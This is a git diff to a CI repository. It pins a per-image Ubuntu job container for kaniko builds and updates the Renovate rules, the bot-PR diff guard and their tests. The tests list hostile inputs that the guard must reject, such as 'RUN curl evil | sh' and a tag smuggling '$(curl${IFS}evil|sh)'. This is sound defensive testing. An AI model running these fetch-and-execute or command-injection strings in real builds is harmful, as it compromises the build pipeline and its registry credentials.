diff --git a/.gitea/workflows/image.yml b/.gitea/workflows/image.yml index 5183beb..bf54987 100644 --- a/.gitea/workflows/image.yml +++ b/.gitea/workflows/image.yml @@ -12,11 +12,16 @@ name: Images # - Sources: the job container has no Node, so actions/checkout cannot run. Kaniko # clones the repository itself (git:// build context, over HTTPS, authenticated # with the job token as Basic-auth password, which Gitea 28 accepts for task tokens). -# - Job container: ubuntu:24.04 by digest, not the kaniko image. gitea/act starts every +# - Job container: ubuntu by digest, not the kaniko image. gitea/act starts every # job container with the entrypoint `/bin/sleep`, which the kaniko `-debug` image # lacks (its /bin holds only `sh`), and `container.options: --entrypoint` is appended # to that entrypoint, not substituted. The pinned kaniko executor is therefore # downloaded by layer digest and verified with sha256sum. +# - Job container release: kaniko unpacks the image it builds over the job container's own +# root, so each matrix entry names its job container (job_image) and that must be the +# same Ubuntu release as the FROM lines of the image's Dockerfile (check_image_versions.py +# pins enforces it; run 2529 broke a 24.04 build in a 26.04 job container: GLIBC_2.42 +# not found). # - Credentials: the job token is tried first (permissions: packages: write). Gitea 28 # refuses it for an organisation-owned package (HTTP 401 on a write probe, run 2237: # the Actions user is not an org member, services/context/package.go, TODO ActionUser @@ -74,16 +79,19 @@ jobs: version: 0.1.2 subpath: images/molecule-ubuntu2404 dockerfile: Dockerfile + job_image: ubuntu:24.04@sha256:68ee22004a9109b44973313b02ff7b1de250f1de0f5ecb628d73f579aaff33ac - name: molecule-ubuntu2604 version: 0.1.0 subpath: images/molecule-ubuntu2604 dockerfile: Dockerfile + job_image: ubuntu:26.04@sha256:c098726dd9b9733f3e885f8de0ef375206a311b0a317eadc40d347b1115fb944 - name: ci - version: 0.2.4 + version: 0.2.5 subpath: "" dockerfile: images/ci/Dockerfile + job_image: ubuntu:26.04@sha256:c098726dd9b9733f3e885f8de0ef375206a311b0a317eadc40d347b1115fb944 container: - image: ubuntu:26.04@sha256:c098726dd9b9733f3e885f8de0ef375206a311b0a317eadc40d347b1115fb944 + image: ${{ matrix.job_image }} # Keeps a runaway build from taking the whole 3 GB runner LXC down with it. options: --memory=2g --memory-swap=2g env: diff --git a/CLAUDE.md b/CLAUDE.md index 28de7c5..6bc6ced 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -49,7 +49,7 @@ protection, or create tags: those are the operator's. pull requests) and pushed to `git.rkdr.net/mortis/`. - The molecule images are one Ubuntu release each, by name: the hosts run 24.04 today and 26.04 is the target, so roles are tested on both. A new release is a new image added by hand (Renovate's major `ubuntu` - updates are disabled for their Dockerfiles); retire an image when no host runs its release. A new image's + updates are disabled everywhere); retire an image when no host runs its release. A new image's first consumer pin is a hand-made PR with the digest its first build printed; Renovate follows it after. - Each has a semver `version:` in the workflow's build matrix. A published version tag is never moved and never rebuilt (the job looks it up in the registry first and ends without building): @@ -61,6 +61,13 @@ protection, or create tags: those are the operator's. - Consumers pin `image:@sha256:` (`lint.yml`, `build.yml`, `molecule.yml`). A build prints the new digest; moving a pin is a reviewed edit, and every build has a new digest. +- kaniko runs inside the job container and unpacks the image it builds over it, so each matrix entry names its + job container (`job_image: ubuntu:@sha256:...`) and its release must equal the `FROM ubuntu:` release + of the image's Dockerfile (`check_image_versions.py pins` fails otherwise; run 2529 broke a 24.04 build in a + 26.04 job container). Moving an image to a new release is one edit: the Dockerfile `FROM`, the `job_image` + tag and digest, and the version bump. Digest drift within a release is tolerated. A `job_image`-only bump is + not an image input: no version bump, nothing rebuilt; the post-merge Images run only reaches the prepare step + for published versions, so that is its only exercise. - Each pushed layer must stay below 100 MB: Cloudflare rejects larger request bodies with HTTP 413. That is why the `ci` image deletes the Go toolchains from the hook cache. - `image.yml` tries the job token first with a write probe; Gitea 28 refuses it for the org's packages @@ -74,8 +81,9 @@ protection, or create tags: those are the operator's. - **Policy:** minor and patch bumps automerge, majors are manual. `ansible-core` minor and major are manual too (a new minor can show new sanity findings), and `ansible-core` and `ansible-lint` bump in one group. Dockerfile base-image tag and digest bumps (`images/*/Dockerfile`) - stay automergeable: Kamino is the untrusted side and the pin PR's CI exercises the new image. The - `ubuntu` job container of `image.yml` never automerges: that job holds the registry push credential. + stay automergeable within a release: Kamino is the untrusted side and the pin PR's CI exercises the new image. + A new Ubuntu release (major `ubuntu` update) is never a bump: it is a deliberate edit. The `job_image` of each + matrix entry in `image.yml` (the job container) never automerges: that job holds the registry push credential. kaniko is pinned by layer digests in `image.yml`; no Renovate manager reads them, so it is updated by hand (the `/kaniko/` rule in `renovate.json` is only a safety net). - **Two-PR loop for an image input** (`requirements-dev.txt`, `.pre-commit-config.yaml`, @@ -92,7 +100,7 @@ protection, or create tags: those are the operator's. - **Bot-diff gate:** the `lint` workflow runs `scripts/check_bot_pr_diff.py` on pull requests. A head ref starting `renovate/` may only change version lines in `requirements-dev.txt`, `rev:` lines in `.pre-commit-config.yaml`, FROM tags/digests and the `uv==` pin in `images/*/Dockerfile`, - the matrix `version:` lines and the ubuntu job container pin in `image.yml`, and the image + the matrix `version:` lines and the `job_image:` ubuntu pins in `image.yml`, and the image pins in `lint.yml`, `build.yml` and `molecule.yml`. Anything else fails, `renovate.json` included. Tags are `[A-Za-z0-9._-]` only, FROM and ubuntu lines must keep their digest, matrix versions must stay in place and rise, and a binary or one-sided change fails. diff --git a/images/ci/Dockerfile b/images/ci/Dockerfile index 0797001..b4e7aae 100644 --- a/images/ci/Dockerfile +++ b/images/ci/Dockerfile @@ -30,8 +30,7 @@ # Layers: each COPY / RUN below is one layer, and a layer is pushed as one request, # so it must stay below Cloudflare's 100 MB request-body limit on git.rkdr.net. The # build stage prints the sizes it will copy; the first push is the real test. -# Base image: ubuntu:24.04 index digest as of 2026-10-24 (24.04.5), same as the -# molecule image. +# Base image: ubuntu:26.04 index digest as of 2026-10-26, same as molecule-ubuntu2604. FROM ubuntu:26.04@sha256:c098726dd9b9733f3e885f8de0ef375206a311b0a317eadc40d347b1115fb944 AS os diff --git a/renovate.json b/renovate.json index 155cedc..abb1fec 100644 --- a/renovate.json +++ b/renovate.json @@ -55,6 +55,18 @@ "depNameTemplate": "uv", "datasourceTemplate": "pypi" }, + { + "customType": "regex", + "description": "The job container of each image of image.yml (matrix job_image, ubuntu by digest). kaniko unpacks the image over the job container, so its release must equal the Dockerfile's (check_image_versions.py pins). Tag and digest updates within a release arrive here; a new release is a deliberate edit of both (rule below disables major ubuntu updates). Never automerged: the job holds the registry push credential (image.yml rule below).", + "managerFilePatterns": [ + "/^\\.gitea/workflows/image\\.yml$/" + ], + "matchStrings": [ + "job_image:\\s*(?ubuntu):(?[0-9][^@\\s]*)@(?sha256:[0-9a-f]{64})" + ], + "datasourceTemplate": "docker", + "versioningTemplate": "ubuntu" + }, { "customType": "regex", "description": "The MOLECULE_IMAGE value of molecule.yml is a multi-line `>-` scalar, which the github-actions manager does not read; matched here by its exact shape. Used by the pin-follow rule below.", @@ -99,11 +111,7 @@ "enabled": false }, { - "description": "The molecule-ubuntu images are one Ubuntu release by name and by contract (extensions/molecule/image-smoke* assert it, and the roles are tested against it): a new Ubuntu release is a new image, not a base bump. Tag and digest updates within a release still arrive.", - "matchFileNames": [ - "images/molecule-ubuntu2404/Dockerfile", - "images/molecule-ubuntu2604/Dockerfile" - ], + "description": "A new Ubuntu release is a deliberate edit, never a bump. The molecule-ubuntu images are one release by name and by contract (extensions/molecule/image-smoke* assert it), and every image's job container must run the same release as its Dockerfile (check_image_versions.py pins), so a base-image major in one file alone would fail the check or the build. Tag and digest updates within a release still arrive.", "matchPackageNames": [ "ubuntu" ], diff --git a/scripts/check_bot_pr_diff.py b/scripts/check_bot_pr_diff.py index d155025..23c3153 100644 --- a/scripts/check_bot_pr_diff.py +++ b/scripts/check_bot_pr_diff.py @@ -11,7 +11,7 @@ When starts with `renovate/`, the diff of ...HEAD may only * images//Dockerfile: the tag and digest of FROM lines (the image name stays), and the `uv==` token of a line that holds one; * .gitea/workflows/image.yml: the matrix `version:` lines, and the tag and digest of the - job container's `image: ubuntu:...@sha256:...` line (the name stays); + job containers' `job_image: ubuntu:...@sha256:...` lines (the name stays); * .gitea/workflows/{lint,build,molecule}.yml: the version and digest of a `git.rkdr.net/mortis/:@sha256:` pin (the name stays), including the MOLECULE_IMAGE value. @@ -51,7 +51,7 @@ VERSION_LINE = re.compile( r"""^\s*(?:-\s*)?version:\s*["']?(?P[0-9]+\.[0-9]+\.[0-9]+(?:-[0-9A-Za-z.-]+)?)["']?\s*(?:#.*)?$""") FROM_LINE = re.compile(rf"^(FROM\s+(?:--\S+\s+)*)([^\s:@]+)(?::{TAG})?@sha256:[0-9a-f]{{64}}(\s+AS\s+\S+)?\s*$") UV_TOKEN = re.compile(r"\buv==[0-9][0-9A-Za-z.+!_-]*") -UBUNTU_LINE = re.compile(rf"^(\s*image:\s*ubuntu)(?::{TAG})?@sha256:[0-9a-f]{{64}}\s*$") +UBUNTU_LINE = re.compile(rf"^(\s*job_image:\s*ubuntu)(?::{TAG})?@sha256:[0-9a-f]{{64}}\s*$") DOCKERFILE = re.compile(r"images/[^/]+/Dockerfile") CONSUMERS = {".gitea/workflows/lint.yml", ".gitea/workflows/build.yml", ".gitea/workflows/molecule.yml"} @@ -117,7 +117,7 @@ def file_problem(path, removed, added): if DOCKERFILE.fullmatch(path): return same_shape(removed, added, reduce_dockerfile, "the tag or digest of a FROM line or a `uv==` pin") if path == civ.MATRIX_FILE: - return same_shape(removed, added, reduce_image_yml, "a matrix `version:` or the ubuntu job container pin") + return same_shape(removed, added, reduce_image_yml, "a matrix `version:` or a `job_image:` ubuntu pin") if path in CONSUMERS: return same_shape(removed, added, reduce_pin, "an image pin of the mortis registry") return "is not a file a bot pull request may change" diff --git a/scripts/check_image_versions.py b/scripts/check_image_versions.py index 0a336c7..03f29d4 100644 --- a/scripts/check_image_versions.py +++ b/scripts/check_image_versions.py @@ -6,7 +6,7 @@ python3 scripts/check_image_versions.py bump The matrix of .gitea/workflows/image.yml is the registry of images: name, version, -build context (subpath) and Dockerfile. A published version tag is never moved (Gitea +build context (subpath), Dockerfile and job container (job_image). A published version tag is never moved (Gitea cannot make a tag immutable), so an image whose content changes under an unchanged version is pushed as sha-*/latest only, and a hand-pasted @ pin would pair a tag with a digest it does not point to. @@ -18,6 +18,9 @@ pins No file under .gitea/workflows may mention `git.rkdr.net/defame1297/`: the workflows must name an image of the matrix, with a well-formed digest and a version that is not newer than the matrix (a pin lags the matrix between the PR that bumps the version and the PR that moves the pin; it can never lead it). + Every matrix entry names its job container (`job_image: ubuntu:@sha256:...`), and + that release must equal the release of the `FROM ubuntu:` lines of its Dockerfile: kaniko + runs inside the job container and unpacks the image over it. Offline: whether the tag points at the digest is a registry fact, see the "unverified" note in the PR description. bump Fails when the diff ...HEAD touches an input of an image without a @@ -116,11 +119,11 @@ def _scalar(raw, where): def matrix_of(text): - """Return {name: {version, subpath, dockerfile}} from the text of image.yml. + """Return {name: {version, subpath, dockerfile[, job_image]}} from the text of image.yml. A purpose-built block-style reader, not a YAML parser: the Renovate image has no PyYAML and the bump step runs there. It reads the single `include:` list and its entries' - `name`, `version`, `subpath` and `dockerfile`, and fails closed (one-line error) on + `name`, `version`, `subpath`, `dockerfile` and `job_image`, and fails closed (one-line error) on any other shape, so a file it cannot read is never half-understood.""" lines = text.splitlines() heads = [n for n, line in enumerate(lines) if _INCLUDE_RE.match(line)] @@ -172,7 +175,7 @@ def matrix_of(text): raise CheckError(f"a matrix entry of {MATRIX_FILE} lacks the key '{required}' " "(name, version and dockerfile are required)") values = {k: _scalar(v[0], f"{MATRIX_FILE} line {v[1]}") for k, v in keys.items() - if k in ("name", "version", "dockerfile", "subpath")} + if k in ("name", "version", "dockerfile", "subpath", "job_image")} name = values["name"] if not name or (keys["name"][0].strip()[:1] not in "\"'" and _NUMBER_RE.match(name)): raise CheckError(f"{MATRIX_FILE}: matrix.include entry {n}: name must be a non-empty string") @@ -186,6 +189,11 @@ def matrix_of(text): f"(quote it in the YAML), got {values[key]!r}") matrix[name] = {"version": values["version"], "subpath": values.get("subpath", ""), "dockerfile": values["dockerfile"]} + if "job_image" in values: + if (keys["job_image"][0] or "").strip()[:1] in "\"'": + raise CheckError(f"{MATRIX_FILE}: image '{name}': job_image must be written unquoted " + "(the bot-diff guard and Renovate read the plain form)") + matrix[name]["job_image"] = values["job_image"] return matrix @@ -311,6 +319,74 @@ def check_pins(matrix, consumer_texts): return errors +JOB_IMAGE_RE = re.compile(r"ubuntu:(?P[0-9]+\.[0-9]+)@sha256:[0-9a-f]{64}") +CONTAINER_LINE_RE = re.compile(r"^\s*container:[ \t]*\n\s*image:\s*\$\{\{\s*matrix\.job_image\s*\}\}[ \t]*$", re.MULTILINE) +UBUNTU_NAMES = ("ubuntu", "library/ubuntu", "docker.io/library/ubuntu") + + +def dockerfile_releases(dockerfile_text): + """(releases, problems) of a Dockerfile's FROM lines: the `ubuntu:` tag of each external + base, and a message for every FROM this check cannot vouch for. kaniko unpacks every stage over + the job container, so a base that is not Ubuntu, or whose name or tag holds a variable, is a problem. + A reference to an earlier stage (`FROM os AS final`) is skipped.""" + releases, problems, stages = [], [], set() + for lineno, line in _instructions(dockerfile_text): + parts = line.split() + if not parts or parts[0].upper() != "FROM": + continue + refs = [p for p in parts[1:] if not p.startswith("--")] + if not refs: + continue + ref = refs[0] + if len(refs) >= 3 and refs[1].upper() == "AS": + alias = refs[2].lower() + else: + alias = None + if ref.lower() in stages: + pass + elif "$" in ref: + problems.append(f"line {lineno}: FROM {ref} holds a variable, so its release cannot be read") + else: + name, unused, tag = ref.split("@")[0].partition(":") + if name in UBUNTU_NAMES: + releases.append(tag) + else: + problems.append(f"line {lineno}: FROM {ref} is not an Ubuntu base") + if alias: + stages.add(alias) + return releases, problems + + +def check_job_images(matrix, read_file, workflow_text): + """Errors where an image's job container (`job_image`) is not the Ubuntu release its Dockerfile builds. + + kaniko runs inside the job container and unpacks the image's root filesystem over it, so a + 24.04 image built in a 26.04 job container corrupts the job (run 2529: GLIBC_2.42 not found). + The release of the job container must equal the release of every `FROM ubuntu:` line.""" + errors = [] + if not CONTAINER_LINE_RE.search(workflow_text): + errors.append(f"{MATRIX_FILE}: the job container must be `image: ${{{{ matrix.job_image }}}}`") + for name, entry in matrix.items(): + job = JOB_IMAGE_RE.fullmatch(entry.get("job_image", "")) + if not job: + errors.append(f"image '{name}': job_image in {MATRIX_FILE} must be ubuntu:@sha256:") + continue + path = str(pathlib.PurePosixPath(entry["subpath"]) / entry["dockerfile"]) if entry["subpath"] else entry["dockerfile"] + try: + releases, problems = dockerfile_releases(read_file(path)) + except OSError as exc: + errors.append(f"image '{name}': cannot read {path}: {exc}") + continue + errors += [f"image '{name}': {path} {problem}" for problem in problems] + if not releases: + errors.append(f"image '{name}': {path} has no `FROM ubuntu:` line") + for release in sorted(set(releases) - {job["release"]}): + errors.append(f"image '{name}': {path} builds on ubuntu:{release} but its job_image is ubuntu:{job['release']}; " + "kaniko unpacks the image over the job container, so the two releases must be equal: edit the " + f"FROM lines of {path} and job_image (tag and digest) in {MATRIX_FILE} in the same pull request") + return errors + + def changed_images(head_matrix, changed, read_head_file): """{name: sorted touched inputs} for each image of the matrix whose inputs are in `changed`.""" result = {} @@ -394,11 +470,13 @@ def changed_paths(base_ref, target="HEAD"): def run(argv): if len(argv) >= 2 and argv[1] == "pins" and len(argv) == 2: - matrix = matrix_of(pathlib.Path(MATRIX_FILE).read_text()) + image_yml = pathlib.Path(MATRIX_FILE).read_text() + matrix = matrix_of(image_yml) if not pathlib.Path(REQUIRED_CONSUMER).exists(): raise CheckError(f"{REQUIRED_CONSUMER} is missing: it runs this check and is a required consumer") texts = {f: pathlib.Path(f).read_text() for f in CONSUMERS if pathlib.Path(f).exists()} errors = check_pins(matrix, texts) + errors += check_job_images(matrix, lambda p: pathlib.Path(p).read_text(), image_yml) workflows = sorted(pathlib.Path(WORKFLOW_DIR).glob("*.y*ml")) if pathlib.Path(WORKFLOW_DIR).is_dir() else [] errors += check_foreign_images({str(f): f.read_text() for f in workflows}) note = " (checked: " + ", ".join(texts) + ")" diff --git a/tests/scripts/test_check_bot_pr_diff.py b/tests/scripts/test_check_bot_pr_diff.py index c69d38c..0fb6840 100644 --- a/tests/scripts/test_check_bot_pr_diff.py +++ b/tests/scripts/test_check_bot_pr_diff.py @@ -20,7 +20,8 @@ FILES = { "images/ci/Dockerfile": f"FROM ubuntu:24.04@{D1} AS os\nRUN pip install uv==0.13.5 \\\n && echo hi\nRUN echo x\n", "images/molecule-ubuntu2404/Dockerfile": f"FROM ubuntu:24.04@{D1}\n", ".gitea/workflows/image.yml": (f"jobs:\n image:\n matrix:\n include:\n - name: ci\n" - f" version: 0.2.0\n container:\n image: ubuntu:24.04@{D1}\n" + f" version: 0.2.0\n job_image: ubuntu:24.04@{D1}\n" + " container:\n image: ${{ matrix.job_image }}\n" " steps:\n - run: echo ok\n"), ".gitea/workflows/lint.yml": f"container:\n image: git.rkdr.net/mortis/ci:0.2.0@{D1}\nrun: echo a\n", ".gitea/workflows/molecule.yml": f"env:\n MOLECULE_IMAGE: >-\n git.rkdr.net/mortis/mol:0.1.0@{D1}\n", @@ -44,7 +45,7 @@ class RuleTest(unittest.TestCase): ("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM ubuntu:24.10@{D2} AS os"), ("images/ci/Dockerfile", "RUN pip install uv==0.13.5 \\", "RUN pip install uv==0.14.0 \\"), (".gitea/workflows/image.yml", " version: 0.2.0", " version: 0.2.1"), - (".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", f" image: ubuntu:24.04@{D2}"), + (".gitea/workflows/image.yml", f" job_image: ubuntu:24.04@{D1}", f" job_image: ubuntu:24.04@{D2}"), (".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}", f" image: git.rkdr.net/mortis/ci:0.2.1@{D2}"), (".gitea/workflows/molecule.yml", f" git.rkdr.net/mortis/mol:0.1.0@{D1}", @@ -62,7 +63,9 @@ class RuleTest(unittest.TestCase): ("images/ci/Dockerfile", "RUN echo x", "RUN curl evil | sh"), ("images/ci/Dockerfile", "RUN pip install uv==0.13.5", "RUN pip install uv==0.14.0 evil"), (".gitea/workflows/image.yml", " - run: echo ok", " - run: echo evil"), - (".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", f" image: evil:1@{D1}"), + (".gitea/workflows/image.yml", " image: ${{ matrix.job_image }}", f" image: ubuntu:24.04@{D1}"), + (".gitea/workflows/image.yml", " image: ${{ matrix.job_image }}", " image: evil"), + (".gitea/workflows/image.yml", f" job_image: ubuntu:24.04@{D1}", f" job_image: evil:1@{D1}"), (".gitea/workflows/lint.yml", "run: echo a", "run: echo b"), (".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}", f" image: git.rkdr.net/mortis/other:0.2.0@{D1}"), @@ -74,6 +77,14 @@ class RuleTest(unittest.TestCase): for path, old, new in cases: self.assertIsNotNone(self.problem(path, old, new), (path, old, new)) + def test_job_image_lines_cannot_be_added_removed_or_moved(self): + path = ".gitea/workflows/image.yml" + line = f" job_image: ubuntu:24.04@{D1}" + for old, new in ((line, ""), (" version: 0.2.0", f" version: 0.2.0\n{line}"), + (" steps:", f" steps:\n{line}")): + self.assertIsNotNone(self.problem(path, old, new), (old, new)) + self.assertIsNotNone(self.problem(path, line, line.replace("job_image:", 'job_image: "') + '"')) + def test_tag_charset_is_restricted(self): bad_tags = ["$(curl${IFS}evil|sh)", "a'b", 'a"b', "a;b", "a`b`", "a$b", "a b"] for tag in bad_tags: @@ -81,7 +92,7 @@ class RuleTest(unittest.TestCase): (".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}", f" image: git.rkdr.net/mortis/ci:{tag}@{D1}"), ("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM ubuntu:{tag}@{D1} AS os"), - (".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", f" image: ubuntu:{tag}@{D1}"), + (".gitea/workflows/image.yml", f" job_image: ubuntu:24.04@{D1}", f" job_image: ubuntu:{tag}@{D1}"), ] for path, old, new in cases: self.assertIsNotNone(self.problem(path, old, new), (path, tag)) @@ -91,8 +102,8 @@ class RuleTest(unittest.TestCase): ("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", "FROM ubuntu:latest AS os"), ("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", "FROM ubuntu AS os"), ("images/ci/Dockerfile", "FROM ubuntu:24.04 AS os", f"FROM ubuntu:24.04@{D1} AS os"), - (".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", " image: ubuntu:latest"), - (".gitea/workflows/image.yml", " image: ubuntu:24.04", f" image: ubuntu:24.04@{D1}"), + (".gitea/workflows/image.yml", f" job_image: ubuntu:24.04@{D1}", " job_image: ubuntu:latest"), + (".gitea/workflows/image.yml", " job_image: ubuntu:24.04", f" job_image: ubuntu:24.04@{D1}"), ] for path, old, new in cases: self.assertIsNotNone(self.problem(path, old, new), (path, old, new)) diff --git a/tests/scripts/test_check_image_versions.py b/tests/scripts/test_check_image_versions.py index 975d79f..6d2e09c 100644 --- a/tests/scripts/test_check_image_versions.py +++ b/tests/scripts/test_check_image_versions.py @@ -13,6 +13,7 @@ sys.path.insert(0, str(SCRIPTS)) import check_image_versions as civ # noqa: E402 DIGEST = "sha256:" + "a" * 64 +JOB = f"ubuntu:24.04@{DIGEST}" IMAGE_YML = """\ jobs: image: @@ -23,12 +24,16 @@ jobs: version: {mol} subpath: images/mol dockerfile: Dockerfile + job_image: """ + JOB + """ - name: ci version: {ci} subpath: "" dockerfile: images/ci/Dockerfile + job_image: """ + JOB + """ + container: + image: ${{{{ matrix.job_image }}}} """ -CI_DOCKERFILE = "FROM x AS b\nCOPY requirements-dev.txt .pre-commit-config.yaml ./\nCOPY --from=b /a /b\n" +CI_DOCKERFILE = f"FROM {JOB} AS b\nCOPY requirements-dev.txt .pre-commit-config.yaml ./\nCOPY --from=b /a /b\n" def run(cwd, *cmd): @@ -210,15 +215,74 @@ class PureTest(unittest.TestCase): # The reader replaces PyYAML in the Renovate image (which has none); here PyYAML is the oracle. import yaml real = (pathlib.Path(__file__).resolve().parents[2] / civ.MATRIX_FILE).read_text() - want = {e["name"]: {"version": e["version"], "subpath": e.get("subpath") or "", "dockerfile": e["dockerfile"]} + want = {e["name"]: {"version": e["version"], "subpath": e.get("subpath") or "", "dockerfile": e["dockerfile"], + "job_image": e["job_image"]} for e in yaml.safe_load(real)["jobs"]["image"]["strategy"]["matrix"]["include"]} self.assertEqual(civ.matrix_of(real), want) self.assertEqual(civ.matrix_of(IMAGE_YML.format(mol="0.1.0", ci="0.2.0")), {e["name"]: {"version": e["version"], "subpath": e.get("subpath") or "", - "dockerfile": e["dockerfile"]} + "dockerfile": e["dockerfile"], "job_image": e["job_image"]} for e in yaml.safe_load(IMAGE_YML.format(mol="0.1.0", ci="0.2.0")) ["jobs"]["image"]["strategy"]["matrix"]["include"]}) + def test_job_image_must_match_the_dockerfile_release(self): + text = IMAGE_YML.format(mol="0.1.0", ci="0.2.0") + matrix = civ.matrix_of(text) + files = {"images/mol/Dockerfile": f"FROM {JOB}\n", + "images/ci/Dockerfile": f"FROM {JOB} AS os\nFROM os AS build\nFROM os AS final\n"} + + def read(path): + return files[path] + + self.assertEqual(civ.check_job_images(matrix, read, text), []) + files["images/ci/Dockerfile"] = f"FROM ubuntu:26.04@{DIGEST} AS os\nFROM os AS final\n" + errors = civ.check_job_images(matrix, read, text) + self.assertEqual(len(errors), 1) + self.assertIn("builds on ubuntu:26.04 but its job_image is ubuntu:24.04", errors[0]) + files["images/ci/Dockerfile"] = "FROM debian:12\n" + self.assertIn("FROM debian:12 is not an Ubuntu base", civ.check_job_images(matrix, read, text)[0]) + files["images/ci/Dockerfile"] = f"FROM {JOB} AS os\n" + self.assertEqual(civ.check_job_images(matrix, read, text.replace("matrix.job_image", "matrix.other")), + [".gitea/workflows/image.yml: the job container must be " + "`image: ${{ matrix.job_image }}`"]) + + def test_job_image_shape_and_missing_key(self): + text = IMAGE_YML.format(mol="0.1.0", ci="0.2.0") + for bad in (text.replace(f"job_image: {JOB}", "job_image: ubuntu:latest", 1), + text.replace(f" job_image: {JOB}\n", "", 1)): + errors = civ.check_job_images(civ.matrix_of(bad), lambda path: f"FROM {JOB}\n", bad) + self.assertEqual(len(errors), 1, errors) + self.assertIn("job_image in .gitea/workflows/image.yml must be ubuntu:@sha256:", errors[0]) + + def test_dockerfile_releases_fail_closed(self): + digest = DIGEST + cases = { + f"FROM --platform=linux/amd64 ubuntu:26.04@{digest} AS a\nFROM a AS b\n": (["26.04"], 0), + f"FROM docker.io/library/ubuntu:24.04@{digest}\n": (["24.04"], 0), + "FROM ubuntu:24.04 AS ubuntu\nFROM ubuntu AS x\n": (["24.04"], 0), + "FROM golang:1.22 AS b\nFROM ubuntu:24.04\n": (["24.04"], 1), + "ARG B=ubuntu:26.04\nFROM ubuntu:24.04 AS a\nFROM ${B} AS b\n": (["24.04"], 1), + "FROM ubuntu:${REL}\n": ([], 1), + "FROM ubuntu:24.04\nRUN <